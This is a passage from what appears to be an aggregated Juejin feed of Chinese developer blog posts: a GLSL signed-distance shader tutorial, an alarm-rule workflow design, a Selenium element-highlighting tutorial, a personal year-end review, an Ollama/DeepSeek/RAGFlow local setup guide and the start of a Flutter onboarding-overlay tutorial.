    vec4 d = vec4(sdCircle(p - vec2(-0.5, 0.5), 0.2), vec3(1., 0., 0.));
    //右上绿色圆
    d = minV(d, vec4(sdCircle(p - vec2(0.5, 0.5), 0.2), vec3(0., 1.0, 0.)));
   //下中蓝色圆
    return minV(d, vec4(sdCircle(p - vec2(0., 0.), 0.5), vec3(0., 0., 1.)));
}
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
    vec2 uv = getUV(fragCoord);
    //距离函数
    vec4 d = shape(uv);
    //形状的颜色
    vec3 shapeColor = d.yzw;
    vec3 color = (1. - sign(d.x)) * shapeColor;
    fragColor = vec4(color, 1.);
}

image.png

  • 多个形状平滑过渡,重写min函数使其一定程度融合,更多平滑最小函数
//平滑最小值,融合形状,k平滑过渡程度
float smin(float a, float b, float k) {
    float h = clamp(0.5 + 0.5 * (b - a) / k, 0.0, 1.0);
    return mix(b, a, h) - k * h * (1.0 - h);
}
  • 对应调整一下shape函数里面的最小值函数
const float PI = 3.1415926;
float shape(in vec2 p) {
    //平滑融合程度
    float k = 0.5 * abs(sin(iTime * PI));
    float d = sdCircle(p - vec2(-0.5, 0.5), 0.2);
    d = smin(d, sdCircle(p - vec2(0.5, 0.5), 0.2), k);
    return smin(d, sdCircle(p - vec2(0., 0.), 0.5), k);
}

20250119_211819.gif

  • 重复绘制形状,使用mod函数
//圆半径
const float r = 0.3;
float shape(in vec2 p) {
    //像素坐标取模
    vec2 a = mod(p + r, 2. * r) - r;
    return sdCircle(a, r);
}

image.png

  • 更换成六边形
//六边形半径
const float r = 0.3;
float shape(in vec2 p) {
    //像素坐标取模
    vec2 a = mod(p + r, 2. * r) - r;
    //六边形半径减去空隙,保持形状独立不重叠
    return sdHexagon(a, r - 0.05);
}

image.png

5.布尔运算

上面的min其实就是union并集运算,这里就不重复了。

  • intersection交集运算,求两个形状相交的部分,
float shape(in vec2 p) {
    //两个形状的交集,六边形与圆形的距离,取两者的最大值
    return max(sdHexagon(p - vec2(-0.3, 0), 0.5), sdCircle(p - vec2(0.3, 0), 0.5));
}

最终形状正好是圆的一边弧与六边形的两条边形成的扇形

image.png

  • Subtraction差集运算,求两个形状的差,就是没相交的部分,通过取A形状的补集(不在A内)与B形状相交的部分计算出来集合即是。
float shape(in vec2 p) {
    //两个形状的差,六边形与圆形的负值的距离,取两者的最大值
    return max(sdHexagon(p, 0.5), -1. * sdCircle(p, 0.3));
}

image.png

  • 注意:差集运算,A-B与B-A是不一样的运算
float shape(in vec2 p) {
    //两个形状的差,负值六边形与圆形的距离,取两者的最大值
    return max(-1. * sdHexagon(p, 0.3), sdCircle(p, 0.5));
}

image.png

6.实战:shader画个掘金Logo

juejin.png

掘金的logo由一个菱形和两条有宽度的折线形成

  • 菱形的距离函数
float ndot(vec2 a, vec2 b) {
    return a.x * b.x - a.y * b.y;
}
//菱形 p像素坐标,b的x对应横向对角线长度,y对应纵向对角线长度
float sdRhombus(in vec2 p, in vec2 b) {
    p = abs(p);
    float h = clamp(ndot(b - 2.0 * p, b) / dot(b, b), -1.0, 1.0);
    float d = length(p - 0.5 * b * vec2(1.0 - h, 1.0 + h));
    return d * sign(p.x * b.y + p.y * b.x - b.x * b.y);
}
  • 两条有宽度的折线是两个同样大小的菱形形成的差集
//两个菱形的差集即为一条有宽度折线
// a为第一个菱形的位置,b为第二个菱形的位置,size两个菱形的大小
float line(vec2 p, vec2 a, vec2 b, vec2 size) {
    float d1 = sdRhombus(p - a, size);
    float d2 = sdRhombus(p - b, size);
    return max(-1. * d1, d2);
}
  • 将形状组合起来
 //顶部小菱形
    float d = sdRhombus(p - vec2(0., 0.2), vec2(0.12, 0.1));
    //折线1
    float l = line(p, vec2(0., 0.12), vec2(0., 0.0), vec2(0.36, 0.3));
   //折线2
    float ll = line(p, vec2(0., -0.12), vec2(0., -0.24), vec2(0.6, 0.5));
    //合并形状
    return min(ll, min(l, d));
  • 修改像素坐标p,让形状动起来
//绕圆移顺时针动起来
    vec2 m = vec2(-cos(iTime * PI * 0.5), sin(iTime * PI * 0.5)) * 0.5;
    p += m;
    //缩小成原来的1/2
    p *= 2.0;
  • 绘制符号距离函数
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
    vec2 uv = getUV(fragCoord);
    //距离函数
    float d = shape(uv);
    //背景颜色,蓝色
    vec3 bg = vec3(0.117, 0.5, 1.);
    //形状的颜色,白色
    vec3 shapeColor = vec3(1.0);
    vec3 color = (1. - sign(d)) * shapeColor + bg;
    fragColor = vec4(color, 1.);
}

20250120_003823.gif

啦啦啦,大功告成!小伙伴们学会了吗?

Github地址

https://github.com/xiaolidan00/awesome-bg

参考

by 敲敲敲敲暴你脑袋 at January 20, 2025 03:12 AM

juejin backend

报警系统-指标定义工作流

背景

 

目前的报警指标分为以下三种:

  • 单指标单工况报警
  • 多指标联合报警(可能区分工况)
  • 指标权重预计算(可以利用drools+kiesession)
  • 多数据源联合告警的情况(告警服务的高级功能,在完成第一版本后会覆盖)

单指标的情况:

oc_key_field("trxvbbb_xxx_yyyy", "rms", "highspeed") > 10

多指标联合告警的情况:

oc_key_field("trxvbbb_xxx_yyyy", "rms", "highspeed") > 12 && oc_key_field("trxvbbb_xxx_yyyy", "rms", "lowspeed") = 8

指标权重预计算:

需要支持对已经计算出的指标携带权重计算

多数据源联合告警:

对于两条不同类型的测点数据, 比如声音和电流,开一个滑动窗口进行计算. 从边缘端上送过来的数据都是秒级的。滑动窗口的等待时间目前可以设置为1s滑动检测一次

在目前设计的报警编辑规则阶段, 需要支持九种表达式, "(", ")", "<", ">", "=", "&&", "||"

 

大致的运算逻辑:

alarm-init.png  

名词解释

工况: 目前在算法配置服务可以配置工况实例,一个工况实例可以配置多个规则,每个规则分别代表不同工况, 比如: 高转速,中转速,低转速

数据字段: 在目前的数据链路当中,分发端会接受到两种类型的数据,边缘端上送的测点数据和算法算出来的算法字段. 测点字段和算法字段可以都作为特征值进行计算,如果工况表达式出现工况,需要在满足工况的条件下进行数据字段的计算, 比如: oc_key_field("trxvbbb_xxx_yyyy", "rms", "highspeed") > 10

阈值线: 仅对于数据字段而言, 设置需要比较的阈值

 

约束条件

  • 对于不分工况
    • 只计算数据字段的值 比如 oc_key_field("trxvbbb_xxx_yyyy", "rms") > 10, 只计算rms > 10这个表达式
    • 推送的标准取决于两个值: 阈值线和报警间隔
  • 对于区分工况
    • 分等级配置条件
    • 收敛策略 (容忍度,恶化通知,报警间隔)
    • 重置策略
    • 临时报警tag配置

设计的目的以及折中

目前的设计当中, 每个告警等级需要支持多种优先级的计算, 对于复杂的嵌套优先级计算,目前来说比较困难.

例如:

( ( oc\_key\_field("trxvbbb\_xxx\_yyyy", "rms", "highspeed") > 12 && 
oc\_key\_field("trxvbbb\_xxx\_yyyy", "rms", "lowspeed") = 8 ) || 
oc\_key\_field("trxvbbb\_xxx\_yyyy", "power", "gongkuang2") < 1 ) ) && 
oc\_key\_field("trxvbbb\_xxx\_yyyy", "mean", "gongkuang3") > 4

 

分使用体验,可维护性,可拓展性三个维度阐述

  • 使用体验: 虽然灵活的表达式定义解了用户进行优先级计算的顺序,但是一旦用户填错,或者修改规则将会变得很难。
  • 可维护性: 在程序的角度看来,有两个基本条件需要满足
    • 满足工况(gongkuang2,gongkuang3,highspeed)的条件下才进行数据字段的计算
    • 工况表达式本身也存在括号,例如oc_key_field(....), 在字符串匹配的解析方面,无法解析计算优先级括号和表达式的函数括号的不同

目前无法做到多级嵌套括号的优先级

  • 可拓展性: 后续如果要做指标归因,或者是基于指标的权重计算将会变得很难维护

122121.png

 

改进后的设计: 指标定义工作流

 

前端代码: github.com/kaori-seaso…

4343434.png  

 

 

在工作流中,用户可以预先定义需要预先计算出的指标,然后根据约束条件按照顺序定义.

定义流程: 定义基本使用工况 -> 定义需要计算的一级指标,并定义计算出的一级指标名称 -> 定义以一级指标的表达式组成的二级指标,并定义计算出的二级指标名称

 

用改造前的表达式举例:

(( ( oc\_key\_field("trxvbbb\_xxx\_yyyy", "rms", "highspeed") > 12 && oc\_key\_field("trxvbbb\_xxx\_yyyy", "rms", "lowspeed") = 8 ) ) || oc\_key\_field("trxvbbb\_xxx\_yyyy", "power", "gongkuang2") < 1 )&& oc\_key\_field("trxvbbb\_xxx\_yyyy", "mean", "gongkuang3") > 4

 

 

按照如上逻辑,用户先计算出优先级最里面的表达式,再依次向外层计算

步骤如下:

  • 1.定义待计算的工况指标
    • highspeed, lowspeed, gongkuang2, gongkuang3
  • 2.定义一级指标
    • oc_key_field("trxvbbb_xxx_yyyy", "rms", "highspeed") > 12 , 定义指标metric1, 并将表达式记为 metric1 > 12
    • oc_key_field("trxvbbb_xxx_yyyy", "rms", "lowspeed") = 8 , 定义指标metric2, 并将表达式记为 metric2 = 8
    • oc_key_field("trxvbbb_xxx_yyyy", "power", "gongkuang2") < 1 , 定义指标metric3, 并将表达式记为 metric3 < 1
    • oc_key_field("trxvbbb_xxx_yyyy", "mean", "gongkuang3") > 4 , 定义指标metric4, 并将表达式记为 metric4 > 4
  • 定义二级指标
    • metric1 > 12 && metric2 = 8 定义指标 metric5 记为 metric5 = true
  • 定义三级指标
    • metric5 = true || metric3 < 1 定义指标 metric6 记为 metric6 = true
  • 定义四级指标
    • metric6 = true && metric4 > 4, 定义指标metric7, 将计算出的指标记为result_metric, 并将表达式记为result_metric = true

 

分使用体验,可维护性,可拓展性三个维度阐述

  • 使用体验: 用户也可以理解指标之间的血缘关系,下游报警出现问题能够更好的向上追溯定位问题。不必通过人工的方式比对.
  • 可维护性: 在程序的角度看来,指标的依赖关系清晰明了,可以知道按什么顺序组织计算指标依赖
  • 可拓展性: 后续如果要做指标归因,或者是基于指标的权重计算将可以在工作流当中,对每个指标单独定义

 

 

存在的问题以及改进

 

目前告警指标工作流第一版的做法是先考虑一级括号优先级的情况

例如:

(( oc\_key\_field("trxvbbb\_xxx\_yyyy", "rms", "highspeed") > 12 &&
oc\_key\_field("trxvbbb\_xxx\_yyyy", "rms", "lowspeed") = 8 )) || 
oc\_key\_field("trxvbbb\_xxx\_yyyy", "power", "gongkuang2") = 1

做四次语义切割

  • 用自己写的token词法解析遇到&&或者||时,解析出一级括号所关联的表达式,操作符
  • 逆波兰表达式(后缀数组转中缀数组)分别解析操作符左右两边的表达式,二次解析到本地缓存, 恢复常量,变量, 操作符
  • 用KMP匹配每个工况表达式当中工况字段的位置, 从每个单表达式的工况最末尾字符出发,获取相关的阈值,
  • 用双指针的方式组织单告警等级下工况表达式两两之间的依赖关系

 

暂时不支持多级括号优先级计算.

 

解析完后,根据各个告警等级,优先计算工况是否命中,然后用双重循环分别抽取数据字段以及对应的阈值,判断在绑定工况的数据字段情况下,该工况表达式是否符合<工况,数据字段>的两级命中策略。

再通过双指针组织得到的依赖关系,做各个原子级别工况表达式的组合计算。从而得到各个告警等级的最终计算结果

 

改进: 应用上述指标定义工作流的方式, 改善使用体验,可维护性,可拓展性三方面存在的问题.

by 语落心生 at January 20, 2025 03:10 AM

juejin frontend

《手把手教你》系列技巧篇(四十)-java+ selenium自动化测试-JavaScript的调用执行-下篇(详解教程)

1.简介

 在实际工作中,我们需要对处理的元素进行高亮显示,或者有时候为了看清楚做跟踪鼠标点击了哪些元素需要标记出来。今天宏哥就在这里把这种测试场景讲解和分享一下。

2.用法

  创建一个执行 JS 的对象,也就是 JavascriptExecutor 对象,这个对象是由 driver 进行强制类型转换而来,即JavascriptExecutor js= (JavascriptExecutor)driver;然后这个对象 js 就可以调用 executeScript 方法来执行一段 JS,这段 JS 的语句是以一段字符串的形式给传参到 executeScript 中去的。

//执行方式
JavascriptExecutor jsExecutor = (JavascriptExecutor) driver;
jsExecutor.executeScript("js代码");

3.场景三

利用JS处理元素高亮显示。其实这个前边在代码中也有实现过,只不过没有提到可能没有注意或者看到过,宏哥在这里就讲解一下。

4.实际案例(场景三)

4.1代码设计

4.2参考代码

/**
 * 
 */
package lessons;

import java.util.concurrent.TimeUnit;

import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;

/**
 * @author 北京-宏哥
 * 
 * 《手把手教你》系列技巧篇(四十)-java+ selenium自动化测试-JavaScript的调用执行-下篇(详解教程)
 *
 * 2025年1月20日
 */
public class AddColor {
    
public static void main(String[] args) throws Exception {  
        
        System.setProperty("webdriver.chrome.driver", ".\Tools\chromedriver.exe");  
           
        WebDriver driver = new ChromeDriver();  
     
        driver.manage().window().maximize();  
       
        driver.manage().timeouts().implicitlyWait(5, TimeUnit.SECONDS);
          
        driver.get("https://www.baidu.com/");  
       
        Thread.sleep(2000);
        
        // 点击登录
        driver.findElement(By.xpath("//*[@id='u1']/a")).click();
        Thread.sleep(500);
        
        WebElement username = driver.findElement(By.id("TANGRAM__PSP_11__userName"));
        
        // 创建一个JavascriptExecutor对象
        JavascriptExecutor js= (JavascriptExecutor)driver;
        
        username.sendKeys("abcdefg");
        
        // 设置颜色
        js.executeScript("arguments[0].setAttribute('style', 'background: yellow; border: 2px solid red;');",username);
        
        WebElement password = driver.findElement(By.id("TANGRAM__PSP_11__password"));
        js.executeScript("arguments[0].setAttribute('style', 'background: yellow; border: 2px solid red;');",password);
        
        WebElement submit = driver.findElement(By.id("TANGRAM__PSP_11__submit"));
        js.executeScript("arguments[0].setAttribute('style', 'background: yellow; border: 2px solid red;');",submit);
        
       
    }  

}

4.3运行代码

1.运行代码,右键Run AS->Java Appliance,控制台输出,如下图所示:

2.运行代码后电脑端的浏览器的动作,如下小视频所示:

5.小结

 这种办法可以帮你清楚的看到那些功能执行了,那些没有执行,不方便的前期需要编写代码添加颜色。对鼠标都点击走过的路线进行一个追踪。好了,时间不早了,今天就分享和讲解到这里,感谢大家耐心的阅读,喜欢宏哥的,别忘记在文章末尾支持一下。

by 北京_宏哥 at January 20, 2025 03:10 AM

迟来的2024年终总结

这是一篇迟来的 2024年终总结,从来没正式的为自己做过总结。

一、工作

2023年底,其实当时经过了几面之后,本来已经拿到了 Gitee(开源中国) 的 Offer,然后因为杭州有朋友说有项目,于是思考许久之后,还是决定来了杭州。

选择杭州放弃了深圳,我觉得应该还是这几个原因:

  1. 杭州有朋友在,工作安排好之后,住宿的问题也一并解决了,当时到杭州之后基本就是直接拎包入住的。而且公司离住的地方走路也就十分钟。

  2. (因为老婆孩子在区县,市区家里目前也是空置的状态),如果杭州回老家,可以选择飞机、高铁,而且高铁能直达重庆家里,家里到火车站也就五分钟车程,来去方便。深圳的话,就只能飞机到重庆,再转动车到家里。我又是很怕麻烦的一个人。

  3. Gitee 的 Offer 是产品经理,纠结了一下之后,觉得如果转了的话,估计以后自己写代码会更少了

  4. 还没来过杭州。

参与的工作和项目

1.1 老系统的维护和迭代

本身有一套基于 PHP 的灵工财税系统在生产上跑,需要进行日常的维护、迭代一些新功能。

系统周边还有一套 支付宝小程序 也在线上运行着。

1.2 新系统的设计与开发

基于老系统的业务需求,重新架构设计和开发了一套新系统:

  • 使用 Java17 / SpringBoot3 / MySQL8 / JPA / Redis / RocketMQ 等后端技术栈对后台服务做支持
  • 使用 Vue3 / Vite / TypeScript / ElementPlus 等前端技术栈对前端页面做支持

新系统前前后后开发和测试花了大概三个月的时间,技术团队人员 2 个全栈,两个产品,两个测试。

1.3 MCN机构主播平台

设计开发了一个 MCN 机构的主播社区,技术栈和上面新系统基本一致,主要实现了一个后台服务、一个 Web 端的管理系统、一个基于 uniappApp,上架了 App Store,Android 端倒是没有直接上商店,提供的是 H5 官网直接下载 APK.

1.4 一些小工具

也做了一些公司内部很多小工具的开发,例如基于 小爱同学 的业务语音通知服务、Web 叫号服务(类似在页面上输入信息,指定公司内各个部门的小爱同学进行通知的功能)

也不停折腾了公司的一些 VPN 网络架构 局域网服务器架构 等工作,例如基于 vmware vsphere vcenter vsan 的超融合架构等。

用大模型搭了一些好玩的服务,比如 ts.hamm.cn java.hamm.cn

1.5 其他项目

也客串了一个前端,参与了公司其他小组的社交类产品的管理后台开发。

因公司有一个 AI 出海项目需求,预研了一个 AI智能体项目,主要是一些角色扮演的场景服务 (此处有狗头)

二、开源

今年做了一些开源小项目,当然比去年的积极性要低了很多:

2.1 SPMS 智能生产管理

S-PMS (Smart Production Management System) 智能生产管理系统 ,是一个集成化、智能化的企业级应用软件,它集成了多个核心的生产管理模块,包括 制造执行系统 (MES)、仓库管理系统 (WMS)、企业资源计划系统 (ERP)、质量管理系统 (QMS) 以及 物联网管理系统 (IoTS) 等。

技术栈使用的也是和 1.1.2 中提到的一样。

其中完成了两个端的开发:

这个项目其实从 2013年底 就已经开始了,目前还在迭代中。

2.2 OllamaK

因为觉得其他的 Ollama iOS 客户端都不好用,然后自己花了几天时间写了个简单的 Ollama iOS 客户端。

Github: github.com/HammCn/Olla…

基于 Swift + SwiftUI 设计。

2.3 AirPower4T

AirPower4T 是一个基于 Vue3 TypeScript Element Plus Vite 的开发基础库,使用面向对象、装饰器、Hooks等开发模式,内置了数据模型转换、表格表单装饰器配置、加解密和编码解码、网络请求、权限管理等常见后台功能以及页面组件,助力后台类系统的前端开发效率,同时保障了优雅的代码质量。

Github: github.com/HammCn/AirP…

2.4 AirPower4J

AirPower4J是一个基于 Java17、SpringBoot3.x、JPA&MySQL 的后端开发脚手架,其中包含了一些 RBAC、请求验证、CURD封装、异常处理、多租户SaaS、加解密与安全、WebSocket等模块,以满足日常开发的快捷、稳健、标准化等要求。

Github: github.com/HammCn/AirP…

2.5 一些SDK包

2.5.1 WeComSDK

企业微信的 Java SDK 。目前是开发中,对 企业微信 的一些 OpenAPI 进行了封装。

Github: github.com/HammCn/WeCo…

2.5.2 WeComRobotSDK

一个很好用的企业微信机器人开发工具包SDK。也是发布到了 maven 仓库。

Github: github.com/HammCn/WeCo…

2.5.3 AirPowerJavaSdk

AirPower Java SDK 是基于 Java8 下用于快速对接 AirPower4J 项目中的开放应用的开发工具包,实现了与 AirPower4J 匹配的 AES / RSA 出入参加解密、参数签名、防止重返攻击、数据自动转换等功能,针对基于 AirPower4J 下的 Web 项目提供快速支持开放能力。

Github: github.com/HammCn/AirP…

三、写作

这一年免不了在掘金和其他社区摸了不少鱼。

3.1 掘金专栏

开了三个掘金的专栏:

3.1.1 《用TypeScript写前端》

本篇专栏主要讲解作者是如何大胆放肆的使用 TypeScript 面向对象思维来写前端的。

截止目前,共收录了 32篇 文章,订阅用户 500 人,希望能真正的帮到这 500 个订阅的朋友。

QQ_1737215242673.png

3.1.2 《来杯Java压压惊》

主要是分享一些用Java写后端的心得体会。

截止目前,共收录了 14篇 文章,订阅用户 6 人,因为是 11月 才创建的专栏,数据有些许惨淡。

QQ_1737215269614.png

3.1.3 《你好,全干工程师》

网络?运维?架构?产品?设计?可能这个专栏都有涉及到。

截止目前,共收录了 47篇 文章,订阅用户 21 人,数据也不是那么好看。

QQ_1737215396708.png

3.2 粉丝数据

截止目前:

3.2.1 掘金粉丝:800

QQ_1737217234248.png

3.2.2 Github粉丝:211 (@HammCn)

QQ_1737217211402.png

3.2.3 Gitee粉丝:887

QQ_1737217124429.png

3.2.4 公众号粉丝:3401 (@imHamm)

QQ_1737217283528.png

公众号的粉丝也不是很垂直,现在几乎不在公众号发布什么内容了。

3.2.5 微博粉丝:5000

(不垂直,已经不打算经营了,不再公开了)

3.3 阅读数据

截止目前,掘金阅读数据:

QQ_1737215614873.png

四、生活

杭州的生活很糟糕。特别是美食。

4.1 饮食问题

刚来的时候,还能维持每周两三次在家做饭炒菜,这几个月几乎没怎么在家做了,都选择了外卖或者在外面吃。

美团上拉黑了很多个商家了,实在是难吃。

4.2 日常出行

因为几个朋友都在一起,所以日常也基本都是在一块。一般也只在家、公司、附近商场、机场、火车站 这些地方。

日常没有什么出行的需求,但给老婆换掉了之前 我开的油车,换了 另外一辆油车。。。

QQ_1737216960113.png

(给家里添置了第二辆林肯了,蛮喜欢这个品牌的)

唯二在杭州较远的两三次出行:

4.2.1 灵隐寺

image.png

去过一次就不再想去第二次了。

4.2.2 乌镇

和重庆的磁器口差不多,没什么意思。

五、家庭

家庭是最重要的部分,所以选择放到最后说了。

5.1 儿子

儿子今年六月份三岁了,也上了幼儿园小班。

QQ_1737216878261.png

QQ_1737216657395.png

小子从小就聪明,情商也高。就是在学校不爱吃饭,还回家说学校的饭菜不好吃。

现在几乎能用英文从 1-100 读出来,一些颜色、水果、物体 也都能简单的表达了。

数学方面的话,10以内的加法没问题了,减法还不太会的样子。

5.2 老婆

image.png

家里最漂亮的女人。带孩子、上班都是她。

5.3 亲人

爸妈,岳父岳母依然是围着儿子在转,也慢慢的有了一些岁月老去的痕迹了。

依然是身体健康,这也就是最大的幸福。

5.4 离开了两个亲人

我这边的爷爷和外婆相继在今年离开了我们。希望他们在那边没有烦恼,快乐生活。

六、总结

这一年经历了太多,本文也是流水账的方式做了个年终的总结。

对2025年的期望,目前也还很迷茫。

先祝福吧:

希望儿子能健康快乐的成长,能学习到很多好玩的东西。

image.png

image.png

希望老婆依然是貌美如花,别被儿子整天的调皮折腾。

希望爸妈,岳父岳母,爷爷奶奶们身体健康,生活没有烦恼。

至于我自己,现在还没想好,但希望2025年工作上能有一些新的突破。

就这样,也祝所有幸福的人们,2025的愿望也都能实现。

by Hamm at January 20, 2025 03:08 AM

juejin backend

ollma+deepseek.llm+ragflow 配置知识库

打算在win10电脑上使用ollma+deepseek.llm+ragflow来配置知识库

[!note] 碎碎念 全程对docker真的是又爱又恨!镜像源设置完全失效,pull屡次失败,真想用其他方式弄啊,但不用docker的话,找对依赖项不说,随便一个文件就有两三个G,然而下载速度还只有一两百k,根本下不下来。相比之下,docker win10桌面端虽然一堆bug,但登录之后只要开启科学上网,pull成功率还是挺高的(至少不是零),关键是分块下载,体感上是真的快呀!并且启动也确实方便,不用不行啊!

基本介绍:

ollama:

基础软件:

搜索引擎搜索下载即可

  1. python12(PDFMathTranslate 需要这个运行环境,只是使用docker的话也不需要)
  2. docker win10桌面端
  3. git最新版:Git - Downloading Package

ollama

参考地址:

  1. Ollama系列---【Ollama常用命令】 - 少年攻城狮 - 博客园
  2. 更改ollama模型存储路径 - 大模型知识库|大模型训练|开箱即用的企业大模型应用平台|智能体开发|53AI
  3. www.cnblogs.com/obullxl/p/1…
  4. OLLama详细的 api 介绍 不完全指南 python 直接调用 OLLama api 翻译助手演示 - 大模型知识库|大模型训练|开箱即用的企业大模型应用平台|智能体开发|53AI

完成下载之后,安装ollma,打开cmd控制台;

检查是否安装成功

C:\Users\Administrator>ollama --version
ollama version is 0.5.4

修改ollma的大模型库存储库位置

由于c盘容量实在不够用,必须要切换存储位置,

搜索环境变量->系统变量->新建->变量名:OLLAMA_Models ; 变量值:用户路径(D:\OllamaLLM\models)

image.png

下载和运行模型

下载deepseek

ollama run deepseek-llm

启动deepseek模型(启动时间可能有点长):

ollama run deepseek-llm:latest

模型常用命令:

  1. /show info 显示模型具体信息
  2. /bye 退出应用

常用命令和方法:

  1. ollama list 查看本地所有模型

  2. ollama -v 检查版本

  3. ollama run 模型具体名称 启动模型

  4. http://localhost:11434/ 检查ollama服务是否运行正常

    image.png

  5. 检查模型是否正常使用(win系统,注意替换模型名称):

 (Invoke-WebRequest -method POST -Body '{"model":"deepseek-llm:latest", "prompt":"Why is the sky blue?", "stream": false}' 
-uri http://localhost:11434/api/generate ).Content | ConvertFrom-json

这个是为了后续接口服务的,正常的话会返回以下值:

model                : deepseek-llm:latest
created_at           : 2025-01-09T02:21:31.5782084Z
response             : The sky appears blue because of a phenomenon called Rayleigh scattering. When sunlight enters the Earth's atmosphere, it passes through layers of gas molecules and 
                       particles such as dust and water vapor. The smaller particles, like dust and smoke, scatter light in all directions, including shorter wavelengths (violet, blue, an
                       d green). These shorter-wavelength photons are scattered more efficiently than longer wavelength ones. As a result, the sky appears bluish due to the scattering of 
                       shortwave blue and violet sunlight by nitrogen and oxygen molecules in the atmosphere.
done                 : True
done_reason          : stop
context              : {185, 5726, 25, 5903...}
total_duration       : 3811628300
load_duration        : 1872537300
prompt_eval_count    : 14
prompt_eval_duration : 264000000
eval_count           : 107
eval_duration        : 1671000000

Docker

Docker Desktop: The #1 Containerization Tool for Developers | Docker 下载客户端即可,

常见问题:

  1. docker 点击登录后自动登出 请打开docker自带的Terminal中使用docker login命令登录

  2. 控制台出现%%%API ReQuest错误

    启动docker客户端,即可

  3. 是否可以通过软链接来将Docker放在;

    不可以,这会导致Docker上插件报错,完全无法使用

  4. 无法使用docker pull 镜像,镜像下载不下来

    docker 未登录,登录了,开启科学上网应该就可以下载了,如果还是下载不下来,可以尝试使用docker内部的

image.png

RagFlow

  1. ragflow/README_zh.md at main · infiniflow/ragflow
  1. 下载源码,
  2. 打开docker客户端,打开Terminal,根据docker\docker-compose-base.yml文件分批次下载镜像
docker pull infiniflow/infinity:v0.6.0-dev1
docker pull mysql:8.0.39
docker pull valkey/valkey:8
docekr pull docker.elastic.co/elasticsearch/elasticsearch:8.11.3
docekr pull quay.io/minio/minio:RELEASE.2023-12-20T01-00-02Z
  1. 全部下载完成后,下载ragflow
docker pull edwardelric233/ragflow:oc9
  1. 在docker客户启动container

image.png

docker logs -f ragflow-server
  1. 打开网页localhost:80,如果有login页面,说明下载成功

image.png 7. 注册,登录,打开用户设置界面,在模型提供商中添加ollama链接

image.png

image.png 注意:基础URI要写成host.docker.internal ,只有这样才能连的上ollama service 原因请参考docker\docker-compose-CN-oc9.yml中的extra_hosts属性;

剩下的轻而易举了。就不详细说明了 注意事项:

  1. 建议最低32G内存,一个Vmmem就要占几个G到几十个G的内存
  2. 正在登录docker的时候,不要动docker客户端界面,很有可能造成意想不到的bug,之前就因为这个,导致docker死活登不上去,只能使用控制台登录。

by T__TIII at January 20, 2025 03:07 AM

juejin frontend

跟🤡杰哥一起学Flutter (三十一、UI实战-用户操作引导组件简易封装👣)

1. 引言

🤡 组员对「Flutter自定义绘制」不太熟悉,不知从何下手整这个「用户操作引导组件」,所以这个活就落到杰哥身上了。

👻 它是 App 中一个很常见的组件,用于 帮助用户 快速熟悉和掌握App的使用方法 (首次使用 & 新功能) ,提高用户体验和操作效率。表现形式通常为这两者的组合:

  • 高亮指引」→ 通过遮罩层或光标聚集突出界面的关键区域.
  • 悬浮提示」→ 特定功能或控件上显示简单的文字说明。

具体UI效果如下 (图摘自:《APP UI结构:用户引导&提示》):

💁‍♂️ 不难看出其中的关键技术难点为「如何实现特定组件的高亮」,思路有两:

  • ① 在需要高亮组件上方 (中间隔着半透明遮罩),放置一个和组件一样的图片或组件。
  • ② 获取高亮组件的范围区域,配合「混合模式」中的 dstOut (目标图像和源图像重叠的区域变透明)clear (将绘制区域变成透明) 模式来实现对应区域透明。

前者一天就不靠谱,搞起来麻烦而且不好复用,那就只有思路二咯,「混合模式」在《二十九、🖌玩转自定义绘制三部曲[上]》中已经详细讲解过了,这里就不复读了,😄 不了解Flutter自定义绘制的建议移步做下前置阅读:

😄 接着由浅入深,先用 CustomPainter 写个最简单的Demo 实现 组件高亮,然后再延伸封装和扩展。

2. 简单实现-组件高亮 🌰

2.1. 弹窗用哪个?

💁‍♂️ 开始编写具体代码前,得先定下 弹窗 的方式,em... 选 Route(路由) 还是 Overlay(浮窗) ?😄 都可以,在《二十八、UI实战-玩转自定义弹窗💥》提到过,Flutter弹窗 实现的主要思路有两种:StackOverlayRoute 本质上也是基于 Overlay 实现的。🤡 但直接用 Overlay 有个小坑需要注意,它会置于 最顶层,在上面弹出窗口反而会显示到了它的下方:

😶 这个坑的解法:

给弹出的浮层内容视图 套一个NavigatorshowDialog() 传参 useRootNavigator:false,查找 最近的 Navigator 而不是 根Navigator

😄 个人建议:对于需要 一直处于页面最上层 的弹窗才用 Overlay,其它情况都用 Route。而在这里,用户引导操作页位于顶层没毛病,所以这里直接用 Overlay 来弹窗 😆。

2.2. 如何获取高亮组件的宽高 & 坐标?

2.2.1. GlobalKey

😶 最常规的获取方式:

先为 高亮Widgetkey 属性设置一个 GlobalKey,然后通过它访问Widget的 BuildContext,从而获得 RenderBox,进而获取到 Widget尺寸和位置信息

获取代码示例:

😀 如果你不了解Flutter中的各种Key,可以先看下《十、进阶-玩转各种Key🔑》GlobalKey 能够在 Widget树 中唯一标识一个Widget,通过它无需依赖于 Widget 的位置和层级结构,就能方便地访问到特定Widget。不 过有两点需要注意:

  • 每个GlobalKey对象只能被一个Widget使用!多个Widget使用同一个GlobalKey对象会报错:Another exception was thrown: Multiple widgets used the same GlobalKey。
  • 只有在需要的时候才设置 GlobalKey,以避免造成不必要的内存浪费 + 性能下降,比如在 ListView 中为每个 子Widget 都设置一个GlobalKey,任何条目改变时,Flutter都需要重新检查整个列表。当列表很长的时候,能明显感觉到加载慢,滑动卡顿等不佳的用户体验。

2.2.2. WidgetsBinding.instance.addPostFrameCallback()

😏 此方法 注册的回调 会在 当前帧绘制完毕后立即执行,简单点说 →「Widget 🌳 渲染完、屏幕刷新后」执行,可以在这里拿到「渲染后的布局信息」。有时我们还会在这里进行「状态更新」,这样做的好处是避免在 Widget 构建过程中做不必要的渲染或更新。

😶 避免在 build() 中调用此方法,因为 build() 可能会被多次调用,推荐在 initState() 或其它不高频的回调中调用,如:

  • didChangeDependencies() - State依赖的InheritedWidget变化时调用
  • didUpdateWidget() - 父 Widget 重新构建并且传递了新的参数给当前 Widget 时调用。

获取代码实例:

😀 然后,拿到 子Widget的尺寸和位置信息,一般都是需要向上传递给 父Widget 的,一种常见玩法 →「构造方法向下逐层传递回调」,具体代码示例:

😅 可以是可以,但这只适合「嵌套层次较少」的场景,如果「嵌套了很多层」,写起来就巨麻烦,每一层Widget 都要定义一个这样的 回调属性,然后 构造方法 里传递这个值,🙃 耦合严重,改起来也头疼。

